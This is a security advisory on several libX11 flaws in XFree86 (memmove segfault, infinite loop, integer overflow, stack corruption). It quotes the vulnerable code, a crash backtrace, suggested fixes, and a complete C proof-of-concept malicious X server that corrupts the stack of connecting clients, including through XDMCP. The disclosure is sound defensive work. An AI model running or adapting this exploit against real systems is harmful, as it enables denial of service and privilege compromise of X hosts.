COMMAND
libX11
SYSTEMS AFFECTED
XFree86
PROBLEM
Chris Evans found following. Various coding flaws exist in
libX11. Whilst this may not sound too serious, it is, for two
reasons. They are
1) Various X client programs foolishly have privilege _and_ link
against the X libraries.
2) Think of the XDMCP protocol. It is _not_ a good idea from a
security point of view. This is why. If someone is offering
XDMCP services, you can get that host to connect an X client to
a malicious X server of your choice. What code is processing
responses that are under your control? Yep, libX11.
Specific potential problems
- suid-root xterm (how very 90's!) - maybe local root compromise
- sgid tty or utmp xterm? - maybe inconvenient leak of group
- xmtr - drops privs after allocating raw socket, but a raw
socket leak is pretty serious in itself
- running xdm? This is connecting X clients to you whilst
running as root.
libX11 is a _large_ amount of lines of code, implementing a
_large_ protocol. The code quality is good and security aware;
lots of sanitization of network data is done. Lengths are
distrusted etc. However what use is that in the face of a huge
amount of code? Combine a very low security bug rate with masses
of code, and you get flaws.
Luckily, people are starting to realise that a good solution is to
separate privileged portions of program out from the rest. And
the privileged portion totally distrusts the client. Examples in
RH6.x - privilege free xterm calls "utempter" program which
updates /var/run/utmp in a distrustful manner - privilege free
xlock/xscreensaver calls "pwdb_chkpwdb" which validates a
username/password combination in a distrustful manner
This was tested on RedHat6.1 XFree-3.3.5-3. Chris did a
relatively complete audit of the XOpenDisplay() function, and
child functions. He was curious what damage a maliciously
programmed "xserver" could do. He found four flaws, one very
serious indeed. Anyone running _any_ xdmcp is in trouble - an
xdmcp login screen will connect several X programs to our
malicious X server using XOpenDisplay(). Here's the synopsis of
the serious flaw
#0 0x41414141 in ?? ()
#1 0x401133f1 in _XReply () from /usr/X11R6/lib/libX11.so.6
#2 0x401059bb in XOpenDisplay () from /usr/X11R6/lib/libX11.so.6
#3 0x4007d395 in XtOpenDisplay () from /usr/X11R6/lib/libXt.so.6
#4 0x4007d58f in _XtAppInit () from /usr/X11R6/lib/libXt.so.6
#5 0x400874da in XtOpenApplication () from /usr/X11R6/lib/libXt.so.6
#6 0x40087604 in XtAppInitialize () from /usr/X11R6/lib/libXt.so.6
#7 0x80574bd in strcpy () at ../sysdeps/generic/strcpy.c:30
#8 0x401a61eb in __libc_start_main (main=0x80571c0 <strcpy+46040>,
argc=1,
argv=0xbffffd34, init=0x804af88 <_init>, fini=0x8064f3c <_fini>,
rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffd2c)
at ../sysdeps/generic/libc-start.c:90
As you can see, we've wasted a function pointer or return address.
If you tweak the exploit a bit, you can just as easily waste
either. It's _not_ a simple buffer overflow - it's a subtle
signed/unsigned bug leading to trashing of a few bytes of specific
stack. We have moderate control over this.
The main caveat of this hole is that the sign trip requires us to
send about 4Gb of data in the middle of the exploit! On localhost
this is minutes. Across a LAN, lots of minutes. Across the
Internet, hours if its a fast link otherwise forget it. This
blemish is probably cirumventable by exploiting the same hole
elsewhere in the X protocol.
1) memmove() segfault - probably not exploitable
================================================
lib/X11/OpenDis.c, ~line 393:
memmove (setup, u.vendor + vendorlen,
(int) setuplength - sz_xConnSetup - vendorlen);
Unfortunately, setuplength and vendorlen are from the network and
overly trusted. If vendorlen is set big and setuplen small, then
the above calculation will result in a negative value, and ~4Gb
memmove => segfault. Luckily "vendorlen" and "setuplength" are
16 bit quantites otherwise we would have more precise control
over the length of the memmove.
2) Infinite loop - DoS an xdmcp serving machine with lots of 100% CPU X clients
===============================================================================
lib/X11/OpenDis.c, ~line 373:
mask = dpy->resource_mask;
dpy->resource_shift = 0;
while (!(mask & 1)) {
dpy->resource_shift++;
mask = mask >> 1;
}
Oh dear! "mask" is from the network. If it is set to "0", the
while loop will never finish!
3) Integer overflow - luck avoids corruption of malloc()'ed buffer
==================================================================
lib/X11/OpenDis.c, ~line 571:
if (reply.format == 8 && reply.propertyType == XA_STRING &&
(dpy->xdefaults = Xmalloc (reply.nItems + 1))) {
_XReadPad (dpy, dpy->xdefaults, reply.nItems);
reply.nItems is 32 bits unsigned and read from the network, so by
setting to UINT_MAX, we overflow back to 0. X will then malloc(0)
(or malloc(1) on systems where malloc(0) gives NULL). Luckily,
the _XReadPad call fails to read ~4Gb (or indeed any) network
data into the buffer, because readv() is used and the kernel is
unimpressed about iov.iov_len==4Gb.
4) Nasty one - ability to corrupt bits of stack
===============================================
lib/X11/XlibInt.c, ~line 1810 in _XAsyncReply:
len = SIZEOF(xReply) + (rep->generic.length << 2);
rep->generic.length is 32 bits unsigned, from the network. len
is an "int". We can force len to be negative which in turn causes
all sorts of problems and stack corruption later on in
_XAsyncReply.
Demo xserver program follows. Run it, it'll listen on 6000. Set
DISPLAY to localhost:0.0 and then run an xterm. Your mileage may
vary, but you will probablly get segfault with EIP 0x41414141
/* Chris Evans - demo of libX11 flaw. Tricky one this. */
/* Disclaimer - I haven't bothered to beutify this. It probably is tied
* to little endian machines. Return values go unchecked, etc. ;-)
*/
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int
main(int argc, const char* argv[])
{
static int port = 6000;
char sendbuf[32768];
char recvbuf[1024];
struct sockaddr_in local_addr;
struct sockaddr_in remote_addr;
int remote_addrlen;
int listen_fd;
int accept_fd;
char c;
short s;
int i;
unsigned int bigsend;
listen_fd = socket(PF_INET, SOCK_STREAM, 6);
local_addr.sin_family = AF_INET;
local_addr.sin_addr.s_addr = INADDR_ANY;
local_addr.sin_port = htons(port);
bind(listen_fd, (struct sockaddr*)&local_addr, sizeof(local_addr));
listen(listen_fd, 1);
accept_fd = accept(listen_fd, (struct sockaddr*)&remote_addr,
&remote_addrlen);
/* Read initial client connection packet */
read(accept_fd, recvbuf, 12);
/* Absorb auth details */
s = * ((short*)&recvbuf[6]);
s += * ((short*)&recvbuf[8]);
read(accept_fd, recvbuf, s);
/* Send back the nasty reply */
/* xConnSetupPrefix */
c = 1; /* CARD8 success: xTrue */
write(accept_fd, &c, 1);
c = 0; /* BYTE lengthReason: 0 */
write(accept_fd, &c, 1);
s = 11; /* CARD16: majorVersion: 11 */
write(accept_fd, &s, 2);
s = 0; /* CARD16: minorVersion: 0 (irrelevant) */
write(accept_fd, &s, 2);
s = (32 + 40) >> 2; /* CARD16: length (of setup packet) */
write(accept_fd, &s, 2);
/* xConnSetup, 32 bytes */
i = 0; /* CARD32: release */
write(accept_fd, &i, 4);
i = 0; /* CARD32: ridBase */
write(accept_fd, &i, 4);
i = 1; /* CARD32: ridMask: 1. 0 causes 100% CPU */
write(accept_fd, &i, 4);
i = 0; /* CARD32: motionBufferSize */
write(accept_fd, &i, 4);
s = 0; /* CARD16: nbytesVendor */
write(accept_fd, &s, 2);
s = 0; /* CARD16: maxRequestSize */
write(accept_fd, &s, 2);
c = 1; /* CARD8: numRoots: need 1+ to work */
write(accept_fd, &c, 1);
c = 0; /* CARD8: numFormats */
write(accept_fd, &c, 1);
c = 0; /* CARD8: imageByteOrder */
write(accept_fd, &c, 1);
c = 0; /* CARD8: bitmapBitOrder */
write(accept_fd, &c, 1);
c = 0; /* CARD8: bitmapScanlineUnit */
write(accept_fd, &c, 1);
c = 0; /* CARD8: bit:mapScanlinePad */
write(accept_fd, &c, 1);
c = 0; /* KeyCode (CARD8): minKeyCode */
write(accept_fd, &c, 1);
c = 0; /* KeyCode (CARD8): maxKeyCode */
write(accept_fd, &c, 1);
i = 0; /* CARD32: pad */
write(accept_fd, &i, 4);
/* xWindowRoot x 1 - 40 bytes */
/* Contains a "nDepths" - no further data needed if it's set to 0 */
memset(sendbuf, '\0', 40);
write(accept_fd, sendbuf, 40);
/* read 64 bytes of X requests */
/* From:
* xCreateGC, 20 bytes + 4 bytes of values (i.e. 1)
* xQueryExtention, 20 bytes - querying for big requests
* xGetProperty, 24 bytes - querying for XA_RESOURCE_MANAGER
*/
read(accept_fd, recvbuf, 64);
/* Reply to xQueryExtension - an async reply */
c = 1; /* type (BYTE): X_Reply (1) */
write(accept_fd, &c, 1);
c = 0; /* varies */
write(accept_fd, &c, 1);
s = 2; /* sequenceNumber (CARD16): 2nd */
write(accept_fd, &s, 2);
i = -17; /* length (CARD32): signed games here */
write(accept_fd, &i, 4);
i = 0x41414141; /* pad (CARD32); 6 of them */
/* NOTE - in this program's current form, it seems to be these values
* which make their way onto the stack, overwriting a function pointer
*/
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
/* Now we've got to send a _lot_ of data back to the client - it's trying
* to read ~4Gb, grrr.
*/
c = 0;
bigsend = (unsigned int)-17;
bigsend <<= 2;
while (bigsend > 0)
{
unsigned int to_send = bigsend;
if (to_send > 32768)
{
to_send = 32768;
}
write(accept_fd, sendbuf, to_send);
bigsend -= to_send;
if (!c)
{
printf("to_go: %u\n", bigsend);
}
c++;
}
/* Send another xreply - the first 28 bytes are read onto
* the stack.
*/
/* NOTE - in its current form, these A's make their way to some unspecified
* area of stack. In testing I've easily clobbered a return address with
* these
*/
memset(sendbuf, 'A', 28);
write(accept_fd, sendbuf, 28);
memset(sendbuf, '\0', 32);
/* First char of buffer, 0, represents X_Error */
write(accept_fd, sendbuf, 32);
while(1);
}
SOLUTION
- Fix for problem 1: check vendorlen is sane!!
- Fix for problem 2: Enclose while() loop in a "if (mask)" test.
- Fix for problem 3: ???
- Fix for problem 4: Probably in XlibInt.c, _XReply() - after
reading the xReply structure, drop like a hot potato if
rep->generic.length is suspiciously big - more than a few meg?
Discourage xdmcp services; DEFINITELY disable them by default if
possible. Also, don't ship anything privileged linked to anything
X. If you are you probably have a design flaw. See things like
RedHat's privilege free xterm, rxvt, etc., as well as _small_
helpers such as pwdb_chkpwd and userhelper.